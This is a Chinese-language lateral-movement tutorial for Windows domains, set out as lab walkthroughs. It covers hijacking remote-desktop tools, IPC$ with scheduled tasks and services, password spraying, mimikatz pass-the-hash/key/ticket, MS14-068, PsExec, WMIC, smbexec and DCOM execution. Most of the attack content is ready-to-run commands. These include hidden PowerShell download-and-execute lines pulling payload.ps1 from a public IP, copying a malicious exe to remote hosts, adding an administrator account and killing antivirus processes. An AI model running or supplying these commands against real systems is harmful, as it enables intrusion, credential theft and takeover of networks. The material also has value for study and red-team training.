横向移动
1. 利用远控工具向日葵横向移动
向日葵介绍
向日葵远程控制软件是一款免费的集远程控制电脑/手机/平板、远程桌面连接、远程开机、远程管理、支持内网穿 透的一体化远程控制管理工具软件,且还能进行远程文件传输、远程摄像头监控等。
支持系统:Winodws/Linux/MacOS/Android/iOS
向日葵远控连接
向日葵安装的时候第一次会进入选择界面
使用注册注册表的方式进行绕过,注册表文件如下
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\SOFTWARE\Oray\SunLogin\SunloginClient] “11.1.0.37237_IsRunSeted”=”1”
将以上的代码保存为,xxx.reg如(1.reg)
将文件传到目标服务器
运行注册注册表的命令和运行向日葵
注册注册表的两种方式:
方式一:使用注册表
regedit ‐s 3.reg
方式二:使用命令直接注册注册表
reg add HKEY_CURRENT_USER\SOFTWARE\Oray\SunLogin\SunloginClient /v "11.1.0.37237_IsRunSeted" /t REG_SZ /d 1 /f
SunloginClient.exe 运行向日葵
查看向日葵配置文件
shell type C:\ProgramData\Oray\SunloginClient\config.ini
fastcode:本机识别码去掉k
encry_pwd:本机验证码,密文无法直接解密
解密密码
使用github提供的脚本文件进行解密
https://github.com/wafinfo/Sunflower_get_Password
使用向日葵连接
2. 利用远控工具todesk横向移动
Todesk介绍
ToDesk是一款类似向日葵的远程控制软件,但比向日葵、TV和AD更为流畅和稳定,它同样具备着内网穿透、文件 传输、云端同步和流量加密等功能
有绿色精简版和全功能版两个版本,支持的系统有:Winodws/Linux/MacOS/Android/iOS
Todesk安装
全功能版在双击运行、命令行执行时都会出现UAC弹窗和安装界面,这样非常容易被管理员发现,/S参数可以实现静默安装
shell ToDesk1.exe /S
安装完成后自动运行,接下来查看配置文件
shell type C:\"Program Files (x86)"\ToDesk\config.ini
运行ToDesk后会在默认安装目录下生成一个config.ini配置文件,存储的有设备代码、临时密码、安全密码以及登 录用户和密码等重要敏感信息,但密码都经过ToDesk特有加密算法加密,所以不能通过解密得到明文密码,只需 要找到目标主机ToDesk中的tempAuthPassEx临时密码或authPassEx安全密码,将它们覆盖到我们本地ToDesk中
的tempAuthPassEx,重启ToDesk即可得到明文密码
使用cs进行文件替换
08f4314e069b5fd018daf1ce7fcba51d88e3fa3c97a396aa9157492455e28bb489142e39df3b5f6c2cb4782d1b7ecfb6 02f4b80a146c
密码是063805
重启程序就可以了
tasklis 查找进程
taskkill /pid 2484 /F
taskkill /pid 2212 /F
重新开启
shell C:\"Program Files (x86)"\ToDesk\ToDesk.exe
连接
3. 利用远控工具GoToHTTP横向移动
GoToHTTP介绍
GotoHTTP工作在B2C模式。使用远程控制时,您不必在每一台电脑上都安装远程软件。不管身处何处,有浏览器 就能访问远程电脑。 即使公司网络管控,仍然可以控制或被控制。支持文件传输、无人值守、剪切板同步、远程语 音、远程摄像头、多显示器支持
GoToHTTP使用
使用cs或者其他工具将文件上传到目标机器
运行该文件
在运行目录下会生成一个配置文件
查看配置文件里面有连接地址和账号密码
使用网页连接
4. 利用远控工具RustDESK横向移动
RustDESK介绍
远程桌面软件,开箱即用,无需任何配置,完美替代TeamViewer。您完全掌控数据,不用担心安全问题。您可以 使用我们的注册/中继服务器,或者自己设置,亦或者开发您的版本。
https://gitee.com/rustdesk/rustdesk/releases
RustDESK安装
上传到目标机器
运行程序
找到配置文件
C:\Users\用户名\AppData\Roaming\RustDesk\config
可以看到没有密码,这个时候需要手写这个密码,然后重启工具
tasklist
taskkill /pid 2988 /F
查看密码已经可以了
连接目标
5. IPC配合计划任务横向移动
IPC$介绍
IPC( Internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算 机的共享资源时使用。
通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等 操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列 表等信息。
首先,需要建立一个ipc$
net use \\192.168.41.30\ipc$ "密码" /user:administrator
net use
IPC$利用条件
开启了139、445端口
IPC$可以远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用,通过139、445(windows2000)端口,可以实现对共享文件打印机的访问。因此,一般来讲IPC需要139、445端口的支持。
管理员开启了默认共享
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(C$、D$、E$等系统目录winnt或windows(admins)通过IPC$,可以实现对这些默认共享目录的访问
IPC$连接失败原因
- 用户名或密码错误
- 目标没有打开IPC$默认共享
- 不能连接目标的139,445端口
IPC$连接常见错误
错误号 | 详情 |
---|---|
5 | 拒绝访问 |
51 | Windows无法找到网络路径,即网络中存在问题 |
53 | 找不到网络路径,包括IP地址错误、目标未开机、目标的 lanmanserver服务未 启动目标有防火墙(端口过滤) |
67 | 找不到网络名,包括 lanmanworkstation服务未启动、ipcs已被删除 |
1219 | 提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipcs,需要在删除原连接后重新进 行连接 |
1326 | 未知的用户名或错误的密码 |
1792 | 试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连 接域控制器时会出现此情况) |
2242 | 此用户的密码已经过期。例如:目标机器设置了账号管理策略,强制用户定期修改密码° |
利用方式-windows自带命令
dir命令
在使用 netuse命令与远程目标机器建立ipc$后,可以使用dir命令列出远程主机中的文件, 如图
dir \\192.168.18.10\c$
tasklist命令
在使用net use命令与远程目标机器建立ipcs后,可以使用 tasklist命令的/S、/U /P参数列 出远程主机上运行的进程
tasklist /s 192.168.18.10
利用方式-schtasks
查看系统时间
net time \\IP地址
复制文件
copy 文件 \\IP地址\C$
创建计划任务
schtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f
执行计划任务
schtasks /run /s IP地址 /i /tn "计划任务名"
删除计划任务
schtasks /delete /s IP地址 /tn "计划任务名" /f
清除IPC连接
net use \\IP /del /y
6. IPC配合系统服务横向移动
sc命令详解
获取到密码并着手横向时,却发现Task Sheduler服务没有启用。这时候我们就可以远程建立服务,然后再启用服务来运行我们想要运行的命令。
描述:sc是用来与服务控制管理器和服务进行通信的命令行程序
用法:sc <server> [command] [service name] <option1> <option2>…
<server>选项的格式为“\\ServerName”可以通过键入以下命令获取油管命令的更多帮助:“sc [command]”
命令 | 描述 |
---|---|
query | 查询服务的状态,或枚举服务类型的状态 |
queryex | 查询服务的扩展状态,或枚举服务类型的状态 |
start | 启动服务 |
pause | 向服务发送 PAUSE 控制请求 |
interrogate | 向服务发送 INTERROGATE 控制请求 |
continue | 向服务发送 CONTINUE 控制请求 |
stop | 向服务发送 STOP 请求 |
config | 更改服务的配置(永久) |
description | 更改服务的描述 |
failure | 更改失败时服务执行的操作 |
failureflag | 更改服务的失败操作标志 |
sidtype | 更改服务的服务 SID 类型 |
privs | 更改服务的所需特权 |
managedaccount | 更改服务以将服务帐户密码标记为由 LSA 管理 |
qc | 查询服务的配置信息 |
qdescription | 查询服务的描述 |
qfailure | 查询失败时服务执行的操作 |
qfailureflag | 查询服务的失败操作标志 |
qsidtype | 查询服务的服务 SID 类型 |
qprivs | 查询服务的所需特权 |
qtriggerinfo | 查询服务的触发器参数 |
qpreferrednode | 查询服务的首选 NUMA 节点 |
qmanagedaccount | 查询服务是否将帐户与 LSA 管理的密码结合使用 |
qprotection | 查询服务的进程保护级别 |
quserservice | 查询用户服务模板的本地实例 |
delete | (从注册表中)删除服务 |
create | 创建服务(并将其添加到注册表中) |
control | 向服务发送控制 |
sdshow | 显示服务的安全描述符 |
sdset | 设置服务的安全描述符 |
showsid | 显示与任意名称对应的服务 SID 字符串 |
triggerinfo | 配置服务的触发器参数 |
preferrednode | 设置服务的首选 NUMA 节点 |
GetDisplayName | 获取服务的 DisplayName |
GetKeyName | 获取服务的 ServiceKeyName |
EnumDepend | 枚举服务依赖关系 |
使用sc横向
IPC建立连接
net use \\192.168.41.40\ipc$ "Admin@123" /user:administrator
复制文件
copy C:\Users\Administrator\Desktop\wanli.exe \\192.168.41.40\C$
创建服务
sc \\192.168.41.40 create test binpath= "cmd.exe /c c:\wanli.exe"
开启服务
sc \\192.168.17.138 start test
删除服务
sc \\192.168.17.138 delete test
上线机器
7. Password Spraying密码喷洒攻击和域内用户名枚举横向移动
域内用户名枚举攻击原理
正常域用户登录主机,我们可以通过 “net user /domain”来列举出域内的用户。但是当我们用非域用户进行登录时,是不能使用 “net user /domain”这条命令的。或者当主机不在域内但是能与域控通信时, 以上两种情况我们可以通过以下方法对域内用户进行枚举。
Kerberos本身是一种基于身份认证的协议,在 Kerberos 协议认证的第一阶段AS-REQ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样,所以,根据AS的返回包来对域用户进行枚举
枚举工具介绍
kerbrute工具
kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt
密码喷洒攻击原理
在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回KRB5KDC_ERP_PREAUTH_FAILED,在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题
kerbrute工具
kerbrute.exe passwordspray -d hack.com 1.txt Admin@123
CrackMapExec
CrackMapExec(⼜名 CME)是⼀款⾮常好⽤的密码喷洒攻击的⼯具,在 Kali Linux默认已经安装好。下载地址: https://github.com/byt3bl33d3r/CrackMapExec
crackmapexec smb 192.168.41.10 -u 1.txt -p 'Admin@123' --continue-on-success
DomainPasswordSpray.ps1
必须是域内用户才可以
UserList: 用户字典
Password: 单个密码
PasswordList: 密码字典
OutFile: 输出的文件名
Domain: 要爆破的域
Force: 强制喷洒继续,而不提示确认。
Import-Module DomainPasswordSpray.ps1 导入
Invoke-DomainPasswordSpray -UserList 1.txt -Domain hack.com -Password Admin@123
-OutFile res.txt
8. Pass the Hash哈希传递攻击(PTH)横向移动
哈希传递
大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到与账户相关 的密码散列值(通常是 NTLM Hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本 地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值(进而获得密码明文)。在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务。在 WindowsServer2012R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。
哈希传递攻击原理
当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一旦该网站出现安全漏洞,所有用户的明文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输入的密码进行散列加密处理(通常使用MD5算法)散列加密算法般为单向不可逆算法。当用户登录网站时,会先对用户输入的密码进行散列加 密处理,再与数据库中存储的散列值进行对比,如果完全相同则表示验证成功。主流的Windows操作系统,通常会使用NTLM Hash对访问资源的用户进行身份验证。早期版本的Windows操作系统,则使用LMHash对用户密码进行验证。但是,当密码大于等于14位时,就无法使用LM Hash了。从Windows vista和Windowsserver2008版本开始, Windows操作系统默认禁用LM Hash,因为在使用NTLM Hash进行身份认 证时,不会使用明文口令,而是将明文口令通过系统API(例如Lsalogon User)转换成散列值。不过,攻击者在获得密码散列值之后,依旧可以使用哈希传递攻击来模拟用户进行认证。
哈希传递实验
实验环境如下
192.168.41.30 机器是admin用户进行登录 (本地管理员)
192.168.41.20 机器是administrator登录 (本地管理员) 两台机器的administrator administrator用户账号密码相同
目前使用dir不能访问20机器
使用mimikatz进行hash传递
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:hack.com /ntlm:570a9a65db8fba761c1008a51d4c95ab
传递完成后会弹出一个框可以进行链接了
使用cs上线
选择pth攻击
等待上线
9. Pass the Key密钥传递攻击(PTK)横向攻击
PTK介绍
WinXP/2003/Vista/2008,以及未打KB2871997补丁之前的Win7/2008r2/8/2012,这些环境我们都可以使用NTLM哈希传递
对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NTLM来进行验证
什么是KB2871997
KB2871997:禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、psexec、schtasks、at和访问文件共享。
这个补丁发布后常规的Pass The Hash已经无法成功,唯独默认的 Administrator (SID 500)账号例外, 利用这个账号仍可以进行Pass The Hash远程连接,即使administrator修改了名字
但是还可以通过AES密钥来替代NTLM验证进行横向的操作,其实这个补丁挺鸡肋的,不用AES密钥照样 也可以用NTLM,只是需要Administrator(SID 500),都拿到机器了,Administrator还不容易吗?这 个补丁唯一的好处就是减少存储在内存中的凭据数据,也就是让wdigest协议认证的凭据不会存储在
lsass.exe,这样子当你dump lsass.exe的时候你就会发现,wdigest协议中的凭据你就看不到了!
实验复现
实验条件
机器名 | 系统 | 登录用户 | ip |
---|---|---|---|
域内主机(2012-2) | windows server 2012R2 | 本地管理员admin | 192.168.41.147 |
域内主机(2012-1) | windows server 2012R2 | 本地管理员administrator | 192.168.41.146 |
域控(DC) | windows server 2012R2 | 域管administrator | 192.168.41.10 |
实验前提
我们下载已经控制了2012-2主机,发现他是admin用户登录系统,通过抓取密码发现域管账号存在内存中,但是没有明文,PTH攻击也失效,这个时候采用PTK攻击
实验步骤
使用钓鱼或者其他的方式进行远控
绕过uac提权
抓取密码
传递key
sekurlsa::pth /user:administrator/domain:hack.com /aes256:b03fcae60f0b32a105a8082e89a09cd88a5a6c54b0a209caaa9664c6bc223232
登录到机器然后执行命令上线
计划任务等等之类的
net use \\2012-1.hack.com
copy C:\Users\admin\Desktop\wanli.exe \\2012-1.hack.com\C$
schtasks /create /s 2012-1.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru system /f
schtasks /run /s 2012-1.hack.com /i /tn "test"
上线成功
10. pass the ticket票据传递攻击(PTT)横向攻击
要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。
mimikatz同样提供了不需要本地管理员权限进行横向渗透测试的方法,
例如票据传递( PassThe Ticket,PTT)
票据传递是基于kerberos认证的一种攻击方式,常用来做后渗透权限维持。
黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或AES-256的值。 白银票据攻击利用的前提是得到了域内服务账号的HTML哈希或AES-256的值。 票据传递攻击一般分为两种
1、自己制作票据
2、传递内存中的票据
实验复现
导出内存的票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
执行以上命令后,会在当前目录下出现多个服务的票据文件,例如krbtgt、cifs、ldap等。
清除内存中的票据
shell klist purge
mimikatz kerberos::purge
两个都是清除票据
将高权限的票据文件注入内存
mimikatz kerberos::ptt [0;998d7]-2-0-40e10000-Administrator@krbtgt- HACK.COM.kirbi
查看票据
shell klist
mimikatz kerberos::tgt
访问机器(admin 用户 没有过uac)
dir \\2012-1.hack.com\c$
上线域控
net use \\dc.hack.com
copy C:\Users\admin\Desktop\wanli.exe \\dc.hack.com\C$
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru system /f
shell schtasks /run /s dc.hack.com /i /tn "test"
11. PTT攻击之MS14-068传递获取域管横向
MS14-068介绍
ms14-068漏洞主要通过伪造域管的TGT,将普通用户权限提权为域管权限,以此来控制域控。只要服 务器未打ms14-068补丁(KB3011780),在server 2000以上的域控服务器中,都可进行利用
MS14-068的利用条件
1、获取域普通用户的账号密码
2、获取域普通用户的sid
3、服务器未打KB3011780补丁
MS14-068实验
环境介绍
身份 | IP | 用户 |
---|---|---|
域控 | 192.168.41.100 | windows Server 2008 |
域内机器 | 192.168.41.132 | 域内用户 |
MS14-068利用
查看域用户的SID
whoami /all
清楚内存中的票据
klist purge
生成票据
ms14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户SID -d 域控
导入票据
kerberos::ptc 票据名字
执行命令
dir \\dc2.test.com\c$ 注意是机器名不是IP
建立网络连接
复制恶意文件
添加计划任务
启动计划任务
schtasks /run /s dc2.test.com /i /tn "test"
上线DC
goldenPac.exe
此工具是impacket工具包里的,它是MS14-068+psexec的组合,因此使用起来非常放方便快捷
用法
goldenPac.exe 域名/域用户名:域用户明文密码@域控完整域名
12. PsExec工具远程命令执行横向移动
PsExec介绍
psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口, 只需要对方开启admin$共享和ipc$ (该共享默认开启,依赖于445端口)。但是,假如目标主机开启了防 火墙(防火墙禁止445端口连接),psexec也是不能使用的,会提示找不到网络路径。由于psexec是 Windows提供的工具,所以杀毒软件将其列在白名单中
下载地址 https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
PSExec使用条件
1、具有正确的凭证(内存凭证、账号密码、账号NTLM Hash)
2、能建立IPC链接(也就是需要通过smb认证的),且目标机器开启了共享(默认开启的),并且目标 共享中必须有admin$共享
PsExec常用参数
psexec \\ip -u administrator -p admin cmd 进⼊半交互式shell
PsExec -accepteula \\192.168.108.101 -s cmd.exe 建立交互的shell
psexec \\ip - uadministrator -p admin -w c:\cmd 进⼊交互式shell,且c:\是⽬标机器的⼯ 作⽬录
psexec \\ip -u administrator -p admin whoami all 执行命令
psexec \\ip -u administrator -p admin -d c:\beacon.exe 执行文件
psexec \\ip -u administrator -p admin -h -d c:\beacon.exe UAC的⽤⼾权限执行文件
实验复现
IPC$下的PsExec
上传psexec
建立IPC$连接
net use \\192.168.41.150\ipc$ "Admin@123" /user:administrator
返回交互的shell或者执行命令
psexec.exe -accepteula \\192.168.41.150 -s cmd.exe 返回交互shell(必须是msf或者远程 到桌面CS不行)
psexec.exe -accepteula \\192.168.41.150 -s ipconfig 远程执行命令
远程复制
copy C:\Users\admin\Desktop\wanli.exe \\192.168.41.150\C$
远程上线
psexec.exe -accepteula \\192.168.41.150 -h -d c:\wanli.exe
PTH下的PsExec
找到登录的凭证
找到和扫描地址
进行psexec攻击上线
填写信息上线
上线
PTT下的PsExec
上传psexec
进行PTT攻击,导出内存的票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
清除内存中的票据
shell klist purge
mimikatz kerberos::purge
两个都是清除票据
将高权限的票据文件注入内存
mimikatz kerberos::ptt [0;998d7]-2-0-40e10000-Administrator@krbtgt- HACK.COM.kirbi
查看票据
shell klist
mimikatz kerberos::tgt
远程复制
copy C:\Users\admin\Desktop\wanli.exe \\dc.hack.com\C$
远程上线
psexec.exe \\dc.hack.com -h -d c:\wanli.exe
13. WMIC远程执行命令横向移动
什么是WMI
WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI服务使用DCOM或WinRM 协议,自从PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是黑客们渐渐开始使用WMI进行横向移动。通过渗透测试发现,在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多APT开始使用WMI进行攻击。
WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批处理脚本执行系统管理的支持。
简单来说:wmic就是wmic.exe,位于windows目录底下,是一个命令行程序。WMIC可以以两种模式执行:交互模式(Interactive mode)和非交互模式(Non-Interactive mode),WMI就是Windows Management Instrumentation(Windows 管理规范)。它是 Windows中的一个核心管理技术。
WMIC常见命令
wmic命令需要本地管理员或域管理员才可以进行正常使用,普通权限用户若想要使用wmi,可以修改普通用户的ACL,不过修改用户的ACL也需要管理员权限,普通用户使用wmic。以下命令均在2008R2、2012R2、2016上进行测试,部分命令在虚拟机中测试不行。
wmic logon list brief 登录⽤户
wmic ntdomain list brief 域控机器
wmic useraccount list brief ⽤户列表
wmic share get name,path 查看系统共享
wmic service list brief |more 服务列表
wmic startup list full 识别开机启动的程序,包括路径
wmic fsdir "c:\\test" call delete 删除C盘下的test目录
wmic nteventlog get path,filename,writeable 查看系统中开启的⽇志
wmic nicconfig get ipaddress,macaddress 查看系统中⽹卡的IP地址和MAC地址
wmic qfe get description,installedOn 使⽤wmic识别安装到系统中的补丁情况
wmic product get name,version 查看系统中安装的软件以及版本,2008R2上执行后无反应。
wmic useraccount where "name='%UserName%'" call rename newUserName 更改当前用户名 wmic useraccount where "name='Administrator'" call Rename admin 更改指定用户名
wmic bios list full | findstr /i "vmware" 查看当前系统是否是VMWARE,可以按照实际情况进 行筛选
wmic desktop get screensaversecure,screensavertimeout 查看当前系统是否有屏保保护,延 迟是多少
wmic process where name="vmtoolsd.exe" get executablepath 获取指定进程可执行文件的路 径
wmic environment where "name='temp'" get UserName,VariableValue 获取temp环境变量 查询当前主机的杀毒软件
wmic process where "name like '%forti%'" get name
wmic process where name="FortiTray.exe" call terminate
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe
wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe & wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
查询windows机器版本和服务位数和.net版本
wmic os get caption
wmic os get osarchitecture
wmic OS get Caption,CSDVersion,OSArchitecture,Version
wmic product where "Name like 'Microsoft .Net%'" get Name, Version
查询本机所有盘符
wmic logicaldisk list brief
wmic logicaldisk get description,name,size,freespace /value
卸载和重新安装程序
wmic product where "name like '%Office%'" get name
wmic product where name="Office" call uninstall
查看某个进程的详细信息 (路径,命令⾏参数等)
wmic process where name="chrome.exe" list full
wmic process where name="frp.exe" get executablepath,name,ProcessId 进程路径
wmic process where caption="frp.exe" get caption,commandline /value
更改PATH环境变量值,新增c:\whoami
wmic environment where "name='path' and username='<system>'" set VariableValue="%path%;c:\whoami
查看某个进程的详细信息-PID
wmic process list brief
tasklist /SVC | findstr frp.exe
wmic process where ProcessId=3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,Crea tionDate
终⽌⼀个进程
wmic process where name ="xshell.exe" call terminate
ntsd -c q -p 进程的PID
taskkill -im pid
获取电脑产品编号和型号信息
wmic baseboard get Product,SerialNumber
wmic bios get serialnumber
安装软件
wmic product get name,version
wmic product list brief
常见错误
1.开启防火墙时,允许共享例外
错误:
代码 = 0x800706ba
说明 = RPC 服务器不可用。
设备 = Win32
2.组策略阻止administraotr远程访问时 错误:
代码 = 0x80070005
说明 = 拒绝访问。
设备 = Win32
3.IP安全策略阻止135时
错误:
代码 = 0x800706ba
说明 = RPC 服务器不可用。
设备 = Win32
4.禁用winmgmt服务时
错误:
代码 = 0x80070422
说明 = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动。 设备 = Win32
5.拒绝wbem目录权限,无法使用wmic的
wmic调用cmd
以下命令需要管理员权限
执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt"
列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief 在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create c:\programdata\test.bat
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
执行powershell上线
wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""
利用powershell上线
使用cs生成powershell脚本
wmic进行上线,把ps1放到公网,可以使用python开启http服务提供下载
python -m http.server 9988
wmic /NODE:192.168.41.148 /user:administrator /password:Admin@123 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))\""
等待片刻上线
利用powershell上线
使用账号密码登录进行powershell上线
wmiexec.exe administrator:Admin@123@192.168.41.40 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))"
使用hash上线
wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab administrator@192.168.41.40 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))"
wmiexec.vbs
wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式
cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令"
使用powershell上线
cscript.exe //nologo wmiexec.vbs /cmd 192.168.41.148 administrator Admin@123 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))"
Invoke-WMIExec
Invoke-WMIExec是一个powershell脚本在Invoke-TheHash的文件中用法如下
Invoke-WMIExec -Target IP -Domain 域 -Username 用户 -Hash hash-Command "calc.exe" -verbose
采用无文件落地的方式进行横向
shell powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://118.178.134.226:9988/Invoke- WMIExec.ps1');import-module .\Invoke-WMIExec.ps1;Invoke-WMIExec -Target 192.168.41.148 -Username administrator -Hash 570a9a65db8fba761c1008a51d4c95ab - Command "whoami" -verbose
本地执行
1、导入脚本
powershell-import powershell/Invoke-WMIExec.ps1
2、运行上线命令
powershell Invoke-WMIExec -Target 192.168.41.20 -Username administrator -Hash 570a9a65db8fba761c1008a51d4c95ab -Command "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" - verbose
Invoke-WMIMethod.ps1
该模块为Powershell内置模块,以下为示例,可以自由组合命令进行测试。
$User #目标系统用户名
$Password #目标系统密码
$Cred #账号密码整合,导入Credential Invoke-WMIMethod #远程运行指定程序 #####---------------------------#####
$User = "administrator"
$Password= ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential - ArgumentList $User , $Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe
-nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" - ComputerName "192.168.41.20" -Credential $Cred
14. SMB远程执行命令横向移动
smb介绍
SMB 全称是 Server Message Block 翻译过来是服务器信息块,它也是一种客户端到服务器的通信协 议。除此之外,SMB 协议也被称为请求-回复协议。 客户端与服务器建立连接后,客户端可以向服务器发
送SMB命令允许用户访问共享、打开、读取或者是写入文件。
利用条件:开启了445端口
smbexec使用
smbexec为impacket工具中的工具,操作简单,容易被杀,使用时无需先进行IPC连接
明文传递命令:
smbexec hsyy.com/administrator:123.com@192.168.213.163 hash传递:
smbexec -hashes :$HASH$ ./admin@192.168.213.163 smbbexec -hashes :$HASH$ domain/admin@192.168.213.163
使用明文
输入命令
smbexec administrator:Admin@123@192.168.41.148
使用hash
smbexec -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab administrator@192.168.41.148
15. DCOM远程执行命令横向移动
DCOM介绍
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的 通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网 络中另一台计算机上的服务器程序对象发送请求,使用DCOM进行横向移动的优势之一在于,在远程主 机上执行的进程将会是托管COM服务器端的软件
获取DCOM列表
Get-CimInstance Win32_DCOMApplication
Get-CimInstance -classWin32_DCOMApplication | select appid,name Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
DCOM横向前提
- 需要关闭系统防火墙
- 必须用友域管理员权限
- 在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户
实验介绍
MMC20.Application远程执行命令
通过Powershell与DCOM进行远程交互,此外,我们只需要挺一个DCOM Pro个ID和一个IP地址,然后,它就从远程返回一个COM对象的实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0 .0.1"))
然后执行如下命令,我们就可以调用”ExecuteShellCommand”方法在远程主机上启动进程
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
将IP和命令换成上线的命令
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.1 68.41.147"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","Mini mzed")
ShellWindows远程执行命令
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442- 00A0C90A8F39',"127.0.0.1")).item().Document.Application.ShellExecute("cmd.exe"," /c calc.exe","c:windowssystem32",$null,0) 打开本地计算器
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442- 00A0C90A8F39',"192.168.41.147")).item().Document.Application.ShellExecute("cmd.e xe","/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","c:wi ndowssystem32",$null,0)
ShellBrowserWindow远程执行命令
适用于Windows 10和Windows Server 2012 R2等版本的系统。
